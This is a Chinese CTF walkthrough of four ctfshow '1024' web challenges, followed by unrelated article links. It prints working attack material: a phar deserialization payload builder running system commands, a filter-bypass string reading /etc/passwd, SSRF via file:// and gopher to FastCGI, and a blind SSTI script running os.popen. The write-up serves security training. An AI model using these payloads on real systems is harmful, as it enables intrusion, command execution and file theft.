ctfshow—1024系列练习

news2025/1/14 1:08:02

1024 柏拉图

image.png
有点像rce远程执行，有四个按钮，分别对应四份php文件，开始搞一下。
一开始，先要试探出 文件上传到哪里？ 怎么读取上传的文件？

第一步：试探上传文件位置

直接用burp抓包，就可以知道文件存储位置。

文件存储在: upload/XXXX

image.png

第二步：如何查看这些上传的文件

或者说如何利用

直接抄别人的流程

/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功，这里看来是双写绕过

查看文件：通过双写绕过
playload：fifile://le://XXX（xxx路径：/var/run/xxx.php）

应该是要我们查看什么文件
五份文件：index.php、upload.php、readfile.php、unlink.php、class.php
fifile://le:///var/www/html/readfile.php

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么？除非绕过我？！');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>

会过滤这些字符

'/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is'

第三步：反序列化攻击

在这里，readfile函数过滤不严谨，我们可以通过phar进行反序列化攻击。

<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
//    public function __destruct()
//    {
//        echo "THI IS CTFSHOW".$this->a;
//    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;


@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在本机执行上面的php文件，然后修改为 phar.gif,绕过上传检验
开始playload，burp抓包，输入执行指令，就可以看到根目录的文件。

compress.zlib://phar:///var/www/html/upload/phar.gif

image.png

将 ls / 修改成 cat /ctfshow_1024_flag.txt
image.png
这里有一个坑：之前上传的是phar.gif，后面上传的文件就不能是同名了，需要修改文件名，不然，只能显示原始页面。

小结

info 基本流程

  • 需要确定怎么绕过首页的URL，查看到系统文件，制定playload；
  • 判断上传文件后的位置在哪里
  • 需要用什么攻击手段——存在读取函数，可以用反序列化攻击

攻击原理

  • 序列化一个恶意内容的文件，并上传到系统服务器；
  • 通过readfile函数，反序列化不安全文件，实现攻击

参考文献

  • 【1024杯】web_coleak的博客-CSDN博客

1024 签到

进入页面，可以看到这个代码

error_reporting(0);
highlight_file(__FILE__); //用 PHP 的内置函数 highlight_file 来显示当前文件的源代码
call_user_func($_GET['f']); //用 PHP 的内置函数 call_user_func 来调用一个用户定义的回调函数

这段代码就是在告诉我们，可以通过调用回调函数，进行访问。

playload：url?f=XXX函数

想不到其他函数，先试下phpinfo，看到了支持ctfshow_1024
image.png
直接访问下这个函数，就可以看到flag
image.png

1024 图片

点击列表后，先抓个包，会发现一个链接
image.png
这个参数加密的方式有点像Base64加密，先解析下密，发现这里直接显示链接，里面包含有图片路径
image.png

奇思妙想：是否有一些图片绕过指令，有关于文件读取的ssrf，那不就是文件包含读取！！！

直接构建playload，作用是读取下passwd文件，记得要base64编码下

file://etc/passwd   # 编码前
ZmlsZTovL2V0Yy9wYXNzd2Q= //编码后

直接放包，查看效果，发现成功了，说明思路没问题的，直接开搞！！！
image.png

关键点2： 有一个nginx配置设置，说明这个使用nginx搭建的，直接联想到nginx的配置文件/etc/nginx/nginx.conf

查看nignx的配置文件
image.png

file://etc/nginx/nginx.conf // playload
ZmlsZTovL2V0Yy9uZ2lueC9uZ2lueC5jb25m // 编码后

burp放包，查看有什么信息可以查看，在这里提示，我们有一个自定义的配置文件，并不是走默认的nginx配置文件。

/etc/ngiinx/conf.d/*.conf

image.png
重新构建下playload

file://etc/nginx/conf.d/default.conf //编码前

验收下成功
image.png
其中的关键信息关键信息，说明开放了接口 9000，可以利用ssrf攻击

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;

最后一步：借助Gopher，打fastcgi，实现ssrf攻击

Gopher：https://github.com/tarunkant/Gopherus
image.png
输入读取的路径： /var/www/bushihtml/index.html
执行指令： ls /
base64编码下
image.png

放包操作，查看结果
image.png
好像少了什么东西，看看题目有没有提示，添加上去即可
image.png

参考文献

  • ctfshow_1024-CSDN博客
  • SSRF利用 Gopher 协议拓展攻击面_https://www.ibus2333.com/novel/chapter/311_62f7cf7-CSDN博客

1024 hello_world

需要用post请求，加多一个参数key，可以输出自己想要的结果，这不就是SSIT结构注入攻击吗，开搞
image.png

key={%if []!=1%}wdnmd{%endif%}

image.png

构建playload

"""
Author：Lucky_bacon
Tool:Pycham、python3
"""
import requests
import string
if __name__ == '__main__':
    abt = string.ascii_lowercase + string.digits + '-_{}'
    url = 'http://e32219a2-efc5-4fa1-b4ee-5791e7fdb27b.challenge.ctf.show/'
    cmd = 'ls /'
    ans = ''
    for i in range(0, 80):
        for le in abt:
            payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
                i) + ']=="' + le + '"%}yoyo{%endif%}'
            data = {'key': payload}
            r = requests.post(url, data)
            if 'yoyo' in r.text:
                ans += le
                print('ans = ' + ans)
                break

image.png

将指令换成 cat /ctfshow*
image.png
image.png

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1057968.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

PowerPoint如何设置密码？

PowerPoint如何设置密码？

PowerPoint&#xff0c;也就是PPT&#xff0c;是很多人工作中经常用的办公软件&#xff0c;而PPT和Word、Excel等一样可以设置密码保护。 PPT可以设置两种密码&#xff0c;一种是“打开密码”&#xff0c;也就是需要密码才能打开PPT&#xff1b;还有一种是设置成有密码的“只读…
阅读更多...
python实现http/https拦截

python实现http/https拦截

python实现http拦截 前言：为什么要使用http拦截一、技术调研二、技术选择三、使用方法前言：为什么要使用http拦截 大多数爬虫玩家会直接选择API请求数据，但是有的网站需要解决扫码登录、Cookie校验、数字签名等，这种方法实现时间长，难度高。需求里面不需要高并发，有没有…
阅读更多...
Docker系列--在容器中安装JDK的方法(有示例)

Docker系列--在容器中安装JDK的方法(有示例)

原文网址&#xff1a;Docker系列--在容器中安装JDK的方法(有示例)_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍如何在容器中安装JDK。 为什么要装JDK&#xff1f; JDK里有很多工具&#xff0c;比如jps、jstack、jmap等&#xff0c;可以排查问题。 本文目标 给Ubuntu系…
阅读更多...
【数据结构】海量数据处理

【数据结构】海量数据处理

【数据结构】海量数据处理 前言 海量数据处理是指基于海量数据的存储和处理&#xff0c;正因为数据量太大&#xff0c;所以导致要么无法在短时间内迅速处理&#xff0c;要么无法一次性装入内存。 对于时间问题&#xff0c;就可以采用位图、布隆过滤器等数据结构来解决。对于…
阅读更多...
摄影后期图像编辑软件Lightroom Classic 2023 mac中文特点介绍

摄影后期图像编辑软件Lightroom Classic 2023 mac中文特点介绍

Lightroom Classic 2023 mac是一款图像处理软件&#xff0c;是数字摄影后期制作的重要工具之一&#xff0c;lrc2023 mac适合数字摄影后期制作、摄影师、设计师等专业人士使用。 Lightroom Classic 2023 mac软件特点 高效的图像管理&#xff1a;Lightroom Classic提供了强大的图…
阅读更多...
分布式应用程序协调服务 ZooKeeper 详解

分布式应用程序协调服务 ZooKeeper 详解

目录 1、ZooKeeper简介 2、ZooKeeper的使用场景 3、ZooKeeper设计目的 4、ZooKeeper数据模型 5、ZooKeeper几个重要概念 5.1、ZooKeeper Session 5.2、ZooKeeper Watch 5.3、Consistency Guarantees 6、ZooKeeper的工作原理 6.1、Leader Election 6.2、Leader工作流…
阅读更多...
Docker中MySql容器的数据挂载

Docker中MySql容器的数据挂载

1.查看是否有数据卷 docker inspect mysql 说明&#xff1a;Name的值是随机生成的不是命令的。因此没有数据卷。 2. 目录挂载 说明&#xff1a;本地目录不允许简写&#xff1b;在执行docker runi命令时&#xff0c;使用-v本地目录&#xff1a;容器内目录可以完成本地目录挂载…
阅读更多...
Python之函数、模块、包库

Python之函数、模块、包库

函数、模块、包库基础概念和作用 A、函数 减少代码重复 将复杂问题代码分解成简单模块 提高代码可读性 复用老代码 """ 函数 """# 定义一个函数 def my_fuvtion():# 函数执行部分print(这是一个函数)# 定义带有参数的函数 def say_hello(n…
阅读更多...
列表的增删改查和遍历

列表的增删改查和遍历

任务概念 什么是任务 任务是一个参数为指针&#xff0c;无法返回的函数&#xff0c;函数体为死循环不能返回任务的实现过程 每个任务是独立的&#xff0c;需要为任务分别分配栈称为任务栈&#xff0c;通常是预定义的全局数组&#xff0c;也可以是动态分配的一段内存空间&#…
阅读更多...
农产品团购配送商城小程序的作用是什么

农产品团购配送商城小程序的作用是什么

农产品覆盖稻麦油蛋等多种细分类目&#xff0c;各地区经营商家众多&#xff0c;随着人们生活品质提升&#xff0c;对食物的要求也在提升&#xff0c;绿色无污染无激素的农产品往往受到不少人喜爱&#xff0c;而在销售中&#xff0c;也有不少人选择自建商城线上经营。 通过【雨…
阅读更多...
【软考】磁盘工作原理 计算最多最少读取时间

【软考】磁盘工作原理 计算最多最少读取时间

这个题目重复看了三四遍讲解&#xff0c;才完全搞懂计算过程&#xff0c;特此记录 解析 磁头不会停止旋转 单缓冲区&#xff1a;读取完一个物理块后&#xff0c;只有等该物理块处理完成&#xff0c;才能继续读取后面的物理块。 最长时间 摆放顺序如下&#xff1a; 从 R0 开始…
阅读更多...
【JavaEE】JavaScript webAPI的基本知识

【JavaEE】JavaScript webAPI的基本知识

JavaScript Web API 文章目录 JavaScript Web APIwebAPI背景DOMDOM树 获取元素querySelectorquerySelectorAll 事件初识键盘事件onkeydownonkeypressonkeyup 操作元素获取/修改元素内容1.innerText2.innerHTML 获取/修改元素属性获取/修改表单元素属性获取/修改样式属性行内样式…
阅读更多...
JUC——并发编程—第四部分

JUC——并发编程—第四部分

理解JMM Volatile是Java虚拟机提供的轻量级的同步机制。有三大特性。 1.保证可见性 2.不保证原子性 3.禁止指令重排 定义:Java内存模型&#xff0c;是一个概念。 关于JMM的一些同步的约定: 1、线程解锁前&#xff0c;必须把共享变量立刻刷回主存. 2、线程加锁前&#x…
阅读更多...
华为鸿蒙手表开发之动态生成二维码

华为鸿蒙手表开发之动态生成二维码

华为鸿蒙手表开发之动态生成二维码 前言&#xff1a; 最近入职新公司&#xff0c;由于之前的哥们临时离职&#xff0c;走得很突然&#xff0c;所以没有任何交接和文档&#xff0c;临时顶上公司手表应用的上架&#xff0c;更换了新的密钥和key之后重新测试功能和流程&#xff…
阅读更多...
FFmpeg 基础模块：下载编译与安装、常用命令、处理流程

FFmpeg 基础模块：下载编译与安装、常用命令、处理流程

FFmpeg源码下载 我们会逐步分析作为 API 用户我们需要了解的 FFmpeg 中的重要模块&#xff0c;比如 AVFormat 模块、AVcodec 模块、AVfilter 模块、swscale 模块、swresample 模块。 在具体讲解如何使用 FFmpeg 的 API 之前&#xff0c;为了方便你查看 API 对应的代码&#x…
阅读更多...
图像处理初学者导引---OpenCV 方法演示项目

图像处理初学者导引---OpenCV 方法演示项目

OpenCV 方法演示项目 项目地址&#xff1a;https://github.com/WangQvQ/opencv-tutorial 项目简介 这个开源项目是一个用于演示 OpenCV 方法的工具&#xff0c;旨在帮助初学者快速理解和掌握 OpenCV 图像处理技术。通过这个项目&#xff0c;你可以轻松地对图像进行各种处理&a…
阅读更多...
Transformer学习-self-attention

Transformer学习-self-attention

这里写自定义目录标题 Self-attentionMulti-head self-attention用self-attention解决其他问题 Self-attention 用Wq、Wk、Wv分别乘输入向量得到q、k、v向量 用每个q向量乘所有的k向量得到对应项的attention&#xff0c;即用每项的query向量去匹配所有的key向量&#xff0c;得…
阅读更多...
由于找不到d3dx9_43.dll无法继续执行此代码怎么解决？全面解析d3dx9_43.dll

由于找不到d3dx9_43.dll无法继续执行此代码怎么解决？全面解析d3dx9_43.dll

在使用计算机过程中&#xff0c;我们可能会遇到各种各样的问题。其中之一就是d3dx9_43.dll文件丢失的问题。这个问题通常会出现在运行某些应用程序或游戏时&#xff0c;导致程序无法正常启动或运行。那么&#xff0c;如何解决这个问题呢&#xff1f;小编将为您提供一些解决方案…
阅读更多...
Leetcode字符串题目

Leetcode字符串题目

1 sslist(s) ttlist(t) ss.sort() tt.sort() return sstt 时间复杂度更低的代码 2 dict1{} dict2{} for ch in s:dict1[ch]dict1.get(ch,0)1 # 如果有ch&#xff0c;则原有位置加一&#xff0c;没有的话就创建了(01) for ch in t:dict2[ch]dict2.get(ch,0)1 return dict1…
阅读更多...
苹果双系统和虚拟机哪个好用？

苹果双系统和虚拟机哪个好用？

苹果不能直接使用windows系统中的软件&#xff0c;但windows系统较为全面&#xff0c;为了解决苹果电脑不能使用windows系统软件的问题&#xff0c;使用双系统和类虚拟机是非常不错的解决方案。那么&#xff0c;苹果双系统和虚拟机哪个好&#xff1f;这两种解决方案各有千秋。苹…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023